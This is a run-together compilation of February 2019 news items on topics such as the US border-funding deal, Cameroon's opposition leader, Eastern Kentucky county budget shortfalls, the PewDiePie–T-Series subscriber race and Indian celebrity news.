On Wednesday, CNN reported that Trump planned to sign the deal into law, citing two sources who have spoken directly with the president. Representatives for the White House could not be reached immediately for comment.

The president had said on Tuesday he was not happy with the deal. He did not rule out vetoing the legislation but also said he did not expect another shutdown.

The Democratic-controlled U.S. House of Representatives could vote as soon as Wednesday evening, a senior aide said, despite not yet having produced a written copy of the agreement reached by congressional negotiators on Monday night.

The measure`s fate in the chamber was far from certain given the risk of conservatives and liberals opposing the compromise for different reasons.

The accord must also be passed by the Republican-controlled Senate and signed by Trump by the midnight Friday expiration of a stopgap measure that ended the longest federal shutdown in U.S. history.

Congressional sources said the deal includes $1.37 billion for new border fencing, about the same as last year - along 55 miles (90 km) of the border, but not the $5.7 billion Trump has demanded to help build his promised border wall.

In a tweet on Tuesday night, Trump repeated his insistence that if Congress did not provide the funding, he would press forward with building a wall, writing: "Regardless of Wall money, it is being built as we speak!"

Senior congressional Republicans, showing little appetite for another shutdown after being heavily criticized for the previous one, urged Trump to support the agreement.

Trump surprised lawmakers when he withdrew support for a previous deal in December and demanded the $5.7 billion in wall funding, opposed by congressional Democrats. That triggered the 35-day shutdown of about a fourth of the federal government that left 800,000 federal workers furloughed or working without pay.

The president previously threatened to declare a "national emergency" if Congress did not provide money specifically for the wall, an action under which he might redirect other funds already provided by Congress to pay for wall construction.

Fellow Republicans have told Trump such a step would almost certainly draw opposition, both in Congress and in the courts.

Trump made the wall a central 2016 campaign promise, calling it necessary to combat illegal immigration and drug trafficking. He said Mexico would pay for it, but Mexican officials rejected that. Democrats have called a wall expensive, ineffective and immoral.DOUALA: Cameroon`s main opposition leader, Maurice Kamto, has been charged in a military court with rebellion and seven other offences, indictments that could carry the death penalty, his lawyers said on Wednesday.

Kamto lost what he says was a fraudulent presidential election in October and was detained late last month after organising a small rally against long-serving President Paul Biya. Security services broke up that rally with live fire, shooting and wounding six people, and have put down other rare anti-Biya protests across the country, including the main commercial city Douala and the capital Yaounde, since the vote.

There was no immediate comment from Kamto`s party and supporters whether the charges made against him on Tuesday would trigger more demonstrations. "The investigating judges charged Maurice Kamto at the military tribunal," his lawyer Christopher Ndong told Reuters. "This is not a judicial matter. This is politics."

Another of his lawyers, Emmanuel Simh, told Reuters the charges he faces include: "hostility against the homeland, incitement to insurrection, offence against the president of the republic, destruction of public buildings and goods."

Twenty-two members of his Cameroon Renaissance Movement (MRC) are also on trial for the same charges, lawyers said. Cameroon authorities could not immediately be reached for comment. Rights groups have accused Biya, 85, of silencing opposition voices throughout his 36-years ruling the central African cocoa and oil exporter - charges he denies.

Unrest has historically been rare in Cameroon, and when it happens it tends to be quelled with overwhelming force. Protests erupted in its troubled western Anglophone region more than two years ago, and after they were repressed they morphed into a low level rebellion.

The United States this month said it would withhold some military aid over allegations of human rights violations, but in the same week France said its defence cooperation with Cameroon would continue.LONDON: A British tattooist pleaded guilty on Tuesday to performing illegal body modifications on clients, including taking off an ear and a nipple and splitting a customer's tongue.

Brendan McCarthy, 50, who has no medical qualifications, carried out the surgical procedures at his "Dr Evil" studio in the central city of Wolverhampton between 2012 and 2015, prosecutors said. His arrest followed complaints about online images of him removing a client`s ear. McCarthy later said believed the procedures were lawful because his clients had consented.

At Wolverhampton Crown Court, he pleaded guilty to three counts of causing grievous bodily harm with intent and will be sentenced at a later date. "This is a landmark case involving body modification," said Rhiannon Jones of the Crown Prosecution Service (CPS) which presented expert evidence as to the risks to those involved.

"This prosecution was not brought to seek to curtail individual choice or freedom of self-expression but because McCarthy, who was licensed to carry out tattooing and body piercing, was performing what were significant surgical procedures in a tattoo studio ..," she added in a statement.

"This case confirms the existing law that surgical procedures must be carried out by properly trained, qualified and regulated surgeons or health care professionals.

"McCarthy was none of these and as a result his surgical procedures, albeit carried out at the request of his clients, were unlawful."

MEGHALAYA: The Central Bureau of Investigation completed the questioning of Kolkata Police Commissioner Rajeev Kumar after three hours on the fifth day on Wednesday.

The Police chief will be heading back to Kolkata from Shilling where the questioning in connection with Saradha chit fund scam was being held. He had arrived in Shillong on Saturday as per the Supreme Court directions which had said that questioning should be held at a neutral venue.

On Tuesday, Kumar was grilled by the CBI officials for over 10 hours. Along with him, former Trinamool Congress MP Kunal Ghosh was also being questioned for the past two days. The ex-MP was arrested in 2013 in the Saradha scam and has been out on bail since 2016. Ghosh's questioning had ended earlier after and was allowed to return to Kolkata.

The Supreme Court had directed Kumar on Tuesday to appear before the CBI and "faithfully" cooperate in the investigation of cases arising out of the Saradha chit fund scam. The court had chosen Shillong for questioning "to avoid all unnecessary controversy" and had made it clear that Kumar would not be arrested.

The CBI moved the Supreme Court after its officials were thwarted by the Kolkata Police when they had gone to Kumar's official residence to question him on February 3.NEW YORK: Top online gaming platform Roblox has banned PewDiePie after the Swedish YouTuber streamed himself live in a bid to remain at the top of YouTube's most-subscribed channels.

A top Roblox staff confirmed that PewDiePie has been banned at the online gaming platform, reported Dexerto.com

"PewDiePie is no longer permitted on Roblox due to his content redirecting to unsafe and inappropriate sites/channels, as well as continued inappropriate behaviour, that would not be permitted on Roblox, on his own channel," said a Roblox staff member.

Roblox is a massively popular sandbox that allows its users - mainly kids and teenagers - to create cartoony, Lego-style games.

Swedish YouTuber PewDiePie has turned to the platform in a desperate attempt to widen the subscriber gap with his powerful rival Indian music brand T-Series.

Responding to the ban, some Pewds' fanboys said that it is not legitimate because he did not violate the platform's rules and that he was kicked out for some off-site actions.

T-Series is drawing near to eclipsing the Pewds subscriber account, and it doesnt seem like the Swedish YouTuber will get any more support through Roblox content after the ban.

PewDiePie, whose real name is Felix Kjellberg, has been the world's most-subscribed YouTuber since 2013.

For the past several months, Internet users across the world have been sitting on the edge of the computer chairs, watching Indian record label T-Series swiftly narrow the gap with Felix.

The ongoing battle between PewDiePie and T-Series took an interesting turn on Tuesday when the Swedish YouTuber was just 27,500 subscribers ahead of T-Series at 9:30 PM IST

PewDiePie supporters are working hard to ensure it does not lose the top spot to T-Series.

They have been using several tactics like putting a million dollar billboard in Times Square and circulating a supportive tweet by a right-wing political party in the United Kingdom.

T-Series is a household name in India since the 1980s. The music label is led by Bhushan Kumar, the son of T Series founder Gulshan Kumar who was assassinated by the underworld mafia D Company in 1997. T-Series has 29 TV channels in several Indian languages.

It hosts some of the biggest Indian artists, drawing millions of views.

At the beginning of 2018, T-Series had about 30 million subscribers on its YouTube channel. The introduction of new changes in Indian mobile and data service, the subscriber list sky-rocketed to over 70 million in just six months.NEW DELHI: Indian music brand T-Series is not even 25,000 subscribers behind PewDiePie in the race for YouTube top spot. PewDiePie has been most subscribed YouTube channel for the last six years. At 3 pm on Wednesday, PewDiePie was ahead by 22,839 subscribers.

Recently, top online gaming platform Roblox banned PewDiePie after the Swedish YouTuber streamed himself live in a bid to remain at the top of YouTube's most-subscribed channels.

A top Roblox staff confirmed that PewDiePie has been banned at the online gaming platform, reported Dexerto.com

"PewDiePie is no longer permitted on Roblox due to his content redirecting to unsafe and inappropriate sites/channels, as well as continued inappropriate behaviour, that would not be permitted on Roblox, on his own channel," said a Roblox staff member.

Swedish YouTuber PewDiePie has turned to the platform in a desperate attempt to widen the subscriber gap with his powerful rival Indian music brand T-Series.

Responding to the ban, some Pewds' fanboys said that it is not legitimate because he did not violate the platform's rules and that he was kicked out for some off-site actions.

T-Series is drawing near to eclipsing the Pewds subscriber account, and it doesnt seem like the Swedish YouTuber will get any more support through Roblox content after the ban.

PewDiePie, whose real name is Felix Kjellberg, has been the world's most-subscribed YouTuber since 2013.

PewDiePie supporters are working hard to ensure it does not lose the top spot to T-Series. They have been using several tactics like putting a million dollar billboard in Times Square and circulating a supportive tweet by a right-wing political party in the United Kingdom.

T-Series is a household name in India since the 1980s. The music label is led by Bhushan Kumar, the son of T Series founder Gulshan Kumar who was assassinated by the underworld mafia D Company in 1997. T-Series has 29 TV channels in several Indian languages.

It hosts some of the biggest Indian artists, drawing millions of views.Lucknow: The face-off between the Samajwadi Party and the ruling Bharatiya Janata Party over the grounding of former Uttar Pradesh chief minister Akhilesh Yadav's flight to Prayagraj intensified on Wednesday with SP workers taking to streets and protesting in different parts of the state.

Samajwadi Party workers protested at the busy Hazratganj in the state capital and raised anti-government slogans. They said they would not allow "dictatorship" of chief minister Yogi Adityanath to ruin the state.

Alleging that law and order in the state has crashed, they demanded imposition of President's rule in the state.

There was an uproar in both Houses of the Assembly as the treasury and Opposition benches traded charges against each other.

Decrying the cane-charge on party workers in Prayagraj on Tuesday, where Lok Sabha MP Dharmendra Yadav was also injured, SP lawmakers said the ruling party was trying to "finish democracy" in the state.

Proceedings of the Legislative Council had to be stopped thrice due to noisy scenes.

Leader of the Opposition in the Council Ahmad Hasan took charge of the attack and said that while people were dying after consuming spurious liquor in the state, the BJP government was trying to "patronise" the liquor mafia and muzzle the voices of dissent.

He said preventing Akhilesh Yadav from going to attend a students union event at the Allahabad University on Tuesday was murder of democracy. "It is becoming impossible for decent people to live in the state," he added.

BJP leaders and lawmakers however trashed the allegations and said the SP was yet to come out of its anarchist mindset and was trying to disrupt peace, law and order in the state.

Earlier, a 15-member delegation of SP and Bahujan Samaj Party (BSP) leaders met Governor Ram Naik and handed him a memorandum demanding his intervention in the matter.PRAYAGRAJ: A third incident of fire took place at the Kumbh mela in Prayagraj late on Tuesday night. The fire erupted at the tent in which Bihar Governor Lalji Tandon was staying.

Three tents were gutted in the fire. There were no injuries or casualties in the incident.

Tandon was moved to the circuit house after the mishap. His spectacles, mobile phone and watch were burnt in the blaze.

The reason of the fire is yet to be ascertained. As per initial investigation, the fire is likely to have been caused due to a short circuit.Martin County Sheriff John Kirk took the stage without invitation at a fiscal court meeting Monday and railed about the budgetary strains afflicting his office.Kirk paced back and forth, complaining he had not yet received a $75,000 payment from the fiscal court that should have been delivered in January. In addition, Kirk said his office is now required to pay for its own workers' compensation insurance, retirement, and social security benefits. Those obligations, along with unemployment insurance and fringe benefits, add an additional $99,000 to his annual expenditures.As a result, Kirk announced Monday he has temporarily ceased all law enforcement services provided by his office. He also laid off the office bookkeeper and limited office hours to 8 a.m. through noon on weekdays.On Kirk's personal Facebook page, he urged residents to "lock your doors, load your guns and get a biting, barking dog."The issues plaguing the Martin County Sheriff's Office and the county's fiscal court are similarly felt by local governments throughout Eastern Kentucky, where sharp declines in coal severance taxes have forced county governments to make spending cuts and layoff workers.Money provided to coal-producing counties in Eastern Kentucky by the state's Local Government Economic Assistance Fund, a primary source of coal severance tax dollars for local governments, dropped from $34 million in Fiscal Year 2012 to $6.7 million in Fiscal Year 2018.In Knott County, the fiscal court approved a partial shutdown of county government last month, and officials in Pike County have already made layoffs and proposed a major rate increase for garbage pickup.Martin County officials also blame declining revenue and coal severance dollars for the delayed sheriff's payment.Meanwhile, Kirk said, his office is relying on faltering equipment as it struggles to make ends meet, and he soon expects to lose the one deputy he now employs."We made it because we run around with borrowed tires on our vehicles with the wires sticking out of them," Kirk told the fiscal court. "We made it because we ran around with plugs in our tires, which is illegal to plug an emergency vehicle tire. But if you have no money, you make tough decisions, don't you?"County officials said they hope to pay the sheriff's office the $75,000 pledged, but could not say when that payment would be delivered.Victor Slone, the sole remaining member of last year's fiscal court and the magistrate who bore the majority of Kirk's criticism, said county officials have continued to pledge $140,000 or more to the sheriff's office each year, even as the county's own revenue has declined by about half in the past eight years.Kirk, at one point during his speech, pointed to Slone and said "that man right there is part of the problem."The fiscal court this week approved a new sheriff's budget, which included the promise of a $140,000 subsidy from the fiscal court."I am very, very disappointed in what we have had to face as a court," said Martin County Judge-Executive Bill Davis. "Personally, I think there are a lot of better days ahead. It can't get much worse."Kirk said he is concerned that residents will not have access to quick law enforcement response without his office. The responsibility now falls solely to Kentucky State Police, which sometimes has just one officer patrolling multiple counties in this mountainous corner of Eastern Kentucky, Kirk said.William Petry, the public information officer for KSP Post 9, which covers Floyd, Johnson, Magoffin, Martin and Pike counties, said it puts a strain on state troopers if they can't rely on help from local law enforcement.Still, Petry said, "We're going to respond as we always have."Overstated revenues, layoffs in Pike CountyPike County's new administration, which took office in January, is claiming previous leaders drastically overstated projected revenue in budgets for the county's general fund and clerk's office.Officials now project a $1 million to $1.2 million shortfall for the county's general fund by June 30, the end of this fiscal year.That shortfall has led to layoffs of several part-time county employees, and will likely lead to rate increases for solid waste and other cuts to county operations.Revenue for the clerk's office was also overstated for 2018 to the tune of nearly $650,000, according to Pike County Clerk Rhonda Taylor. (The clerk's office runs on a calendar year budget.)"These are totally overstated," Taylor told the fiscal court in January when presenting the clerk's budget. "They are numbers that have been handed down from term, to term, to term, to term. You guys are facing a bigger challenge than you ever dreamed of."Taylor, who was re-elected in November, told the fiscal court her office will likely have to implement pay cuts and close branch clerk offices throughout the county without help from the county's general fund."Our office is in trouble," Taylor said. "Our office is pretty much crippled right now without supplement money."Last week, after a special fiscal court meeting at East Ridge High School, Pike County treasurer Frankie Stacey said the previous treasurer, Johnda Billiter, disregarded a recommendation by the Kentucky Department of Local Government to lower the level of projected revenue for the county budget.Stacey also said Billiter formed the budget in a single day.Billiter resigned in June 2018 after failing to deposit $1 million of checks paid to the county over a six month period.At about the same time, Pike County lost its credit rating, making it nearly impossible for the county to borrow money, according to an assistant auditing professor at UK.Billiter could not be reached for comment for this story.Like many Eastern Kentucky counties, Pike County has seen a dramatic decline over the past five years in coal severance money. In fiscal year 2018, the county received $1.02 million from the Local Government Economic Assistance Fund, which returns a portion of state-collected mineral severance taxes to local governments. That's down 82 percent from the $5.6 million it received in fiscal year 2012.The overly optimistic budgets have made things even more challenging, said Pike County Judge-Executive Ray Jones."There was not a lot of thought put into the budget," Jones said. "I do think the people of the county need to realize when they see some of these numbers from prior budgets, that they're not accurate."Former Pike County Deputy Judge-Executive Herbie Deskins said he was not involved in the budget-making process last year, but said he believed the prior administration left a surplus of money for Jones and the new fiscal court.Deskins said the county also received a total of about $500,000 soon after Jones took office from the Pike County Airport Board and the 911 Board. Neither of those payments were included in the county's projected revenue, Deskins said.Jones and other county officials said prior administrations also failed to plan for a revenue shortfall for the solid waste department, and for a required expansion of the county's landfill.Residents will likely see a solid waste rate increase in the coming months or weeks, though Jones said he will wait for an outside firm to complete a rate study before implementing any increase.The county increased solid waste rates in 2017 from $15.50 a month to $17.50, according to the Appalachian News Express. Last month, the fiscal court discussed raising those bills to $25 for most customers, the newspaper reported.A previous study of the landfill estimated that it had just seven years before it filled up, with no county money set aside to expand it.During a presentation last week, Thomas Ramsey, the principal of Geosyntec Consultants, said officials could seek a new permit that would allow the county to build on top the old landfill, adding about 50 years of life.That's "great news" for the long-term health of solid waste in Pike County, said county commissioner Brian Booth.Still, the solid waste department will require an additional $5 million over the next five years to replace aging equipment and to maintain its current operations.Raising rates would be the only way to find that revenue other than "gutting" the road department or laying off county employees in the maintenance garage and other public service departments, Jones said."The options we have here are few and far between," Jones said. "There's been a lot of abuse of the taxpayers in this county."Knott County's partial government shutdown continuesLast month, just days before President Donald Trump signed a bill to end the longest partial government shutdown in U.S. history, officials in Knott County approved a partial government shutdown of their own.Knott County's partial shutdown is ongoing, and allows the county's road department to respond only to emergencies. The fiscal court also canceled health insurance for all county employees and elected officials.Judge-Executive Jeff Dobson also told the fiscal court on Jan. 22 that the county will make cuts to a program that delivers food to senior citizens in need. Former Knott County Judge-Executive Zachary Weinberg said the program delivered about 100 meals a day to seniors citizens.Teresa Huff, director of the Knott County Senior Citizens Center, directed questions about the cuts to Dobson, who did not respond to multiple requests for comment for this story.During the fiscal court meeting, Dobson said the cutbacks were the only alternative to implementing new taxes to cope with the county's declining revenue.The county's return from the Local Government Economic Assistance Fund fell from about $4 million in 2012 to just under $550,000 in 2018.Earlier this week, Knott County Treasurer Kevin Jacobs said the cutbacks have no clear end in sight."The fiscal court has to decide when they want to implement a tax," Jacobs said. "That either has to be the way it is, or there has to be (other) additional revenue."Jacobs said Knott's financial woes came to a head when the state reassessed the value of its unmined minerals in December 2016.That reassessment meant Knott County could tax land owners who had unmined coal on their property far less than in previous years. During the 2016-17 fiscal year, the county was forced to shave $1.5 million off its budget, according to a WKYT report.To deal with that shortfall, Jacobs said the county implemented an insurance tax, but that tax expired at the end of 2018."Now we're faced with the shortfall of all that money," Jacobs said.Weinberg disputed the need for a partial shutdown, saying the county should have received in January one last installment from the insurance tax totaling $250,000, and another state payment for the road department totaling $350,000."It doesn't need to happen right now," Weinberg said. "There's plenty enough money to make it through this fiscal year."Still, Weinberg said the dramatic decline in coal severance makes the county's financial situation "tight no matter when or what."At the working session with Vietnam Posts and Telecommunications Group (VNPT), Deputy Prime Minister Vuong Dinh Hue extended his greetings to its officials and employees on the occasion of the 2019 Lunar New Year.

He asked the Group to affirm its role and leading position in developing e-Government and digital transformation in Vietnam in 2019.

The Deputy PM also noted that VNPT should continue to arrange its organisational structure in management, production and business activities.

Deputy PM Vuong Dinh Hue visits the CMSC. (Photo: VGP)

On the same day, Deputy PM Hue visited the Vietnam Bank for Agriculture and Rural Development (Agribank) and the Committee for Management of State Capital at Enterprises (CMSC).

He asked Agribank to pay great attention to restructuring for the second phase, promoting its leading role in investment credit for agriculture, rural areas and farmers.

The Deputy PM asked the Committee to deeply study the history, culture and situation of each enterprise to set appropriate management methods as well as consolidate and arrange its apparatus, meeting the new requirements and tasks.

On the occasion of Lunar New Year, Politburo member and Minister of Public Security General To Lam attended an online conference held by the Ministry of Public Security, urging the strict implementation of major tasks this year.

Minister of Public Security General To Lam speaking at the conference (Photo: congan.com.vn)

In addition, Politburo member and Secretary of Hanoi municipal Party Committee Hoang Trung Hai chaired the Committees meeting to review the capital citys situation during the Lunar New Year holiday, while Politburo member and Secretary of Ho Chi Minh City Party Committee Nguyen Thien Nhan visited its agencies.Chennai: In a bid to implement the ban on plastics in the state, the Tamil Nadu government on Wednesday proposed imposing fine on use and throw plastic items, including the highest amount of rupees one lakh for a third-time offender.

Municipal Administration and Rural Development minister S P Velumani moved a bill in this regard in the state Assembly on Wednesday.

In an environment-friendly move, the state government banned the use of 14 types of plastics, including carry bags, with effect from January 1, 2019.

According to the Tamil Nadu Panchayats (Second Amendment) Act, 2019 penalties for storage, supply, transport, sale and distribution of use and throw plastics.

The fine for the first and second-time offender will be Rs 25,000 and Rs 50,000 respectively. The government also proposed to levy fines for large small vendors, commercial complexes and grocery shops, ranging from about Rs 500 to Rs 25,000 for a third-time offence.

Chief Minister K Palaniswami had last June announced the plastic ban, including that of non-biodegradable carry bags, from January 2019 to "gift a plastic-free" state to future generations.

The ban would cover these plastic articles irrespective of their micron size, he had said but exempted polythene sachets used for packing milk, curd, oil and medical equipment.

The ban came into force from January 1, with scores of commercial establishments largely switching over to eco-friendly cloth and paper bags. Officials are also carrying periodic checks to ensure no banned items were available in the market.Washington: Mars may have volcanic activity below its surface, according to scientists who argue that without an underground source of heat it would not be possible for the Red Planet to host liquid water.

Previous research has suggested that liquid water is present beneath the south polar ice cap of Mars. According to the study published in the AGU journal Geophysical Research Letters, there needs to be an underground source of heat for liquid water to exist underneath the polar ice cap.

Researchers from University of Arizona in the US suggest recent magmatic activity -- the formation of a magma chamber within the past few hundred thousand years -- must have occurred underneath the surface of Mars for there to be enough heat to produce liquid water underneath the kilometer-and-a-half thick ice cap.

On the flip side, the team said that if there was not recent magmatic activity underneath the surface of Mars, then there is not likely liquid water underneath the ice cap. The presence of liquid water on the Red Planet has implications for potentially finding life outside of Earth and could also serve as a resource for future human exploration of our neighbouring planet.

Mars has two giant ice sheets at its poles, both a couple of kilometers thick. On Earth, it is common for liquid water to be present underneath thick ice sheets, with the planet's heat causing the ice to melt where it meets the Earth's crust.

In a paper published last year in Science, scientists claimed radar observations detected evidence of liquid water at the base of Mars's south polar ice cap. However, that study did not address how the liquid water could have gotten there.

Researchers first assumed the detection of liquid water underneath the ice cap was correct and then worked to figure out what parameters were needed for the water to exist. They performed physical modelling of Mars to understand how much heat is coming out of the interior of the planet.

One plausible heat source would be volcanic activity in the planet's subsurface. The magma from the deep interior of Mars rose towards the planet's surface about 300,000 years ago. It did not break the surface, like a volcanic eruption, but pooled in a magma chamber below the surface. As the magma chamber cooled, it released heat that melted the ice at the base of the ice sheet.New Delhi: The Hyderabad Police on Wednesday arrested the lover of Telugu television actress Naga Jhansi, who committed suicide last week. The accused has been identified as Surya.

Naga Jhansi was found dead at her residence in Sri Nagar Colony on February 5, 2019. No suicide letter was found by the police from the spot. Hence, the police took both her phones under their control and checked it to find any evidence.

As per reports, Jhansi had been using two phones. The cops managed to check the content available on one of her phones.

Reports say that Jhansi had called Surya on the day of she committed suicide and spoke to him. As per the conversation available on the phone, Surya seemed to be angry and disappointed with Jhansi as she didnt call him for the last two days. In fact, he even told the television actress that he was a bit occupied at his workplace.

Upon interrogation, Surya admitted to being in a relationship with Jhansi and said that he had promised her that he would speak to his mother about their marriage plans, once his sister gets weds.

Surya had even introduced Naga Jhansi to her mother as his friend.

However, the actress got upset after she found that Surya and his family were looking for a perfect bride for him and hence, took the extreme step.

On the other hand, Jhansis mother has claimed that gold worth Rs 10 lakh, which belongs to Jhansi, is with Surya.

However, during the interrogation, Surya said he mortgaged the gold only on the request of Jhansis family, as they wanted to buy some property, said the report.

Based on the statements, the police has booked Surya under sections 306 (abetment to commit suicide) and 417 (cheating) of the Indian Penal Code. He was recently produced before the court and has been sent to remand.New Delhi: Prime Minister Narendra Modi, will address the CREDAI YouthCon -19, on Wednesday.

The event is organised by the youth wing of realtors' apex body Confederation of Real Estate Developers' Association of India (CREDAI) in at Talkatora Stadium, New Delhi.

The Prime Minister will also visit the exhibition organized by CREDAI.

YouthCon is the annual Youth Conclave of CREDAI, held to bring together the future of the real estate Industry in India.

Established in 1999, CREDAI is the apex body representing real-estate developers from over 200 cities in India.

Vice President M Venkaiah Naidu, Finance Minister Piyush Goyal and Housing and Urban Affairs Minister Hardeep Singh Puri are also scheduled to address the event.New Delhi: No voice in the mainstream represents the urban youth, says filmmaker Zoya Akhtar who has deflected criticism that she chooses to train her lens mostly on the privileged classes with her latest "Gully Boy" about street music and the angst of young.

The woman behind "Dil Dhadakne Do", which explored varied relationships of the rich and mighty on a cruise ship, and "Zindagi Na Milegi Dobara", about three friends on a road trip through Spain, has gone over to the other side with her "Gully Boy" that talks about Mumbai's hip hop scene.

The Ranveer Singh-Alia Bhatt starrer examines how street music becomes a way for struggling urban youth to project their anger in a system where the odds are stacked against them.

?Frankly, there is no voice in the mainstream that represents the urban youth and that's what attracted me to the story. Their rap is conscious of its space and it is conscious of where it exists. It is honest, truthful and personal. They are the artistes who speak about their socio-economic space, about the system and how it treats them," Zoya told PTI in an interview.

The 46-year-old says she grew up listening to classic hip-hop artistes such as Tupac Shakur, 50 Cent and Eminem but the mainstream Indian hip-hop scene never attracted her until she chanced upon a track by Divine and Naezy.

The story of the two rappers from the chawls of Kurla in Mumbai serves as the inspiration for "Gully Boy", played by Ranveer Singh.

Zoya says she realised she could use hip-hop to tell a larger story about urban youth and their frustrations.

"There are youngsters who are kind of frustrated because they are not even allowed to pursue their dreams... They have to figure out how they get by in their day-to-day life. There is a huge population that falls in this bracket and hip-hop resonates with them."

Zoya says she does not concern herself with how people bracket her as a filmmaker. As a filmmaker, she is drawn to conflicts.

?At the end of my life, I want to have a body of work that has everything. My next job is for Amazon and again it is about rich people, wedding planning. I want to do all kind of films. I don't want to be bracketed into one kind of cinema and if somebody does that, then it is on them," she said.

According to Zoya, if you are good at your job and resonate emotionally with people and there are conflicts that you can connect to, your work will find its audience. "Ultimately, we are all human beings and the rest is just the backdrop,? she said.

The story of an underprivileged artiste finding his path through hip-hop led to some comparisons with Eminem's ?8 Mile?, but Zoya dismisses speculation that her film has anything to do with the Hollywood movie.

"When ?Zindagi?' was coming out, everybody said that it is ?Hangover'. I got very upset at that time but then it released and everyone forgot about it. I understand the comparison with ?8 Mile' because that's their only reference point. Also, he comes from the underprivileged space and the rap battle, the tropes are similar. But there is no similarity.?

There was also a debate on social media about the change in the lyrics of "Azadi", which musician Dub Sharma created in 2016 after student leader Kanhaiya Kumar made the slogan popular during a protest in Delhi's Jawaharlal Nehru University.

The lyrics had words such as ?Aazadi... Manuvaad se', ?Aazadi Brahmanvaad se', but these lines are missing in the ?Gully Boy? track which has tweaked the original.

Zoya said they changed the lyrics to suit the context of the film and its character.

?My story is about class, about feeling oppressed by your class. It is about economic disparity, the divide between rich and poor. It represents the point of view of my character and his engagement with the society, his socio-economic space and his anger. My film is not about the caste system or JNU."

Freedom, she said, is a word that was used way before JNU and will continue to be used.

"It has been used for women's movement, for caste disparity, against the system and whatever the oppressed community feels strongly about... But it would have been fake on my part if I had just taken the original song and monetised it.?New Delhi: Megastar Rajinikanth and Latha's doting daughter Soundarya Rajinikanth tied the knot with actor-business Vishagan Vanangamudi on February 11, 2019. The star-studded wedding saw several celebrities attending the gala affair with continued for 3-4 days. The pre and post wedding festivity pictures were splashed all over the internet.

Ahead of the Valentine's Day, the couple hosted a grand wedding reception on February 12, 2019. The who's who of the south and Hindi film industry made their presence felt at the event.

Soundarya opted for a Sabyasachi Mukherjee lehenga for her reception and looked nothing less than a regal bride. The ace fashion designer, who is by far the most loved designers amongst the celeb bride brigade shared some unseen pictures of the stunning bride on his Instagram.

Sabya shared the glowing pictures of the bride with the caption: Real bride Soundarya Rajinikanth @soundaryaarajinikant in Sabyasachi clothing and jewellery from the Sabyasachi Heritage Jewelry collection for her wedding reception in Chennai, India. Photo Courtesy: @studioa_weddings / @prakatwork

Makeup by @prakatwork, #Sabyasachi #SoundaryaRajinikanth #SabyasachiJewelry #BridesOfSabyasachi #SabyasachiBride #TheWorldOfSabyasachi

@bridesofsabyasachi @sabyasachijewelry.

Isn't she simply looking breathtaking?

She turned into a traditional Sabya bride in red lehenga and choker set.

Soundarya was earlier married to Ashwin Ramkumar and together they have a son named Ved Krishna.Washington: Game of Thrones fame Lena Headey has no time for trolls and she did not hold back on her views after the criticism she received for not wearing makeup in one of her videos. The actor posted a video on her Instagram account a day before in which she did not have any makeup on. In the video, she can be seen talking about a long day of travelling and expressing her relief to finally be on the plane, heading back home.

She also went on to talk about her trip and her latest film Fighting With My Family.Some people loved her authenticity and her no-makeup look. They wrote comments like natural beauty, you are an amazing woman and you look more beautiful without makeup then most people do with it on.

However, between all the nice comments, a few people left some nasty comments about her appearance."Don`t record yourself without makeup again please," a person wrote. The actor clapped back at the criticism like a boss, sharing a screenshot of the comment from the person urging her to wear makeup on camera.

She posted a screenshot of the comment along with a caption that read, I shall continue to not wear makeup. Go f--k your self.Her epic response was met with a lot of applause from a few fellow actors who have faced similar criticism. Co-star Carice van Houten wrote, "I get that too. F--K THAT."

The Handmaids Tale' Ever Carradine commented, "F--k that noise. You're perfect."Meanwhile, fellow Game of Thrones actor Gwendoline Christie extended her support with a series of heart emojis. Another fellow Game of Thrones actor, Emilia Clarke applauded her and commented, PREACH BEAUTIFUL WOMAN.

On the work front, Lena is all set to star in the eighth and final season of Games of Thrones, which premieres on HBO, April 14.New Delhi: The legendary star of Indian cinema Dilip Kumar has an ocean of fan following. He is one of the megastars of Hindi movies who is active on social media. He interacts with his fans either through his wife Saira Banu, who handles his Twitter account at times of family friend Faisal Farooqui.

After a long gap, fans got to see a new picture upload by the thespian on the micro-blogging site. Dilip Kumar shared a photo with wife and veteran actress Saira Banu. The caption read: My love and greetings to all of you. God bless.

My love and greetings to all of you. God bless. pic.twitter.com/fyUhEI1iWk  Dilip Kumar (@TheDilipKumar) February 12, 2019

This black and white picture of Saira Banu feeding Dilip Kumar restores our faith in love and takes relationship goals to another level altogether. This amazing couple has been together for 52 years. The couple got married in 1966 and have stayed thick ever since.

The golden couple of Bollywood featured in several movies together such as 'Sagina', 'Bairaag' and 'Gopi' among others. Dilip Kumar happens to be 22 years older than Saira Banu.

The actor had been keeping unwell and was rushed to the hospital a couple of times last year.

He suffered a bout of pneumonia but recovered well after complete bed rest for a few days.

The thespian was last seen on the big screens in 1998 release 'Qila'. The actor was honoured with the Dadasaheb Phalke Award in 1994 and the Padma Vibhushan in 2015. He is known for his path-breaking performances in blockbuster films like 'Devdas', 'Mughal-e-Azam, 'Ganga Jumna', and 'Karma', to name a few.

Here's wishing this couple many more years of togetherness!New Delhi: The Ambanis, who ended 2018 on a high note with the wedding of their daughter Isha Ambani to Anand Piramal, are all set for another lavish wedding as their son Akash is all set to walk the aisle with his childhood sweetheart Shloka. And preparations for the much-awaited wedding are in full swing.

On Monday, Nita and Mukesh Ambani were clicked by the shutterbugs as the visited the Mumbai's Siddhivinayak temple to offer prayers to Lord Ganesha and present the first wedding invitation card of Akash and Shloka.

And a day later, videos of the exquisite invitation card has started to trend on the social media. The invite comprises of an intricately designed box with names of Akash and Shloka embossed on it. The wedding card also contains a handwritten note from parents, Nita and Mukesh.

Take a look:

Akash Ambani and Shloka Mehta's wedding card pic.twitter.com/1vV7ZrHTji  Priyarag Verma (@priyarag) February 13, 2019

Nita and Mukesh Ambani's welcome message for Shloka Mehta pic.twitter.com/682e473orZ  Priyarag Verma (@priyarag) February 13, 2019

A beautiful video of the wedding card of Akash Ambani and Shloka Mehta pic.twitter.com/hPgbzhf0fY  Priyarag Verma (@priyarag) February 13, 2019

Akash and Shloka's wedding is all set to take place on March 9, 2019, at the Jio World Centre in Bandra Kurla Complex in Mumbai. As per reports, the guests will be staying at Mumbai's Trident Hotel, and will be transported to the wedding venue at 3:30 pm for the 'baaraat' ceremony. The rituals are expected to commence at 7:30 pm on March 9.

Following the wedding, two separate receptions will be hosted by Ambanis on March 10 and 11. Both the events are expected to be held at the wedding venue and will be attended by eminent personalities from all over the world.

For the unversed, Akash proposed to his longtime girlfriend and childhood friend Shloka in March 2018.

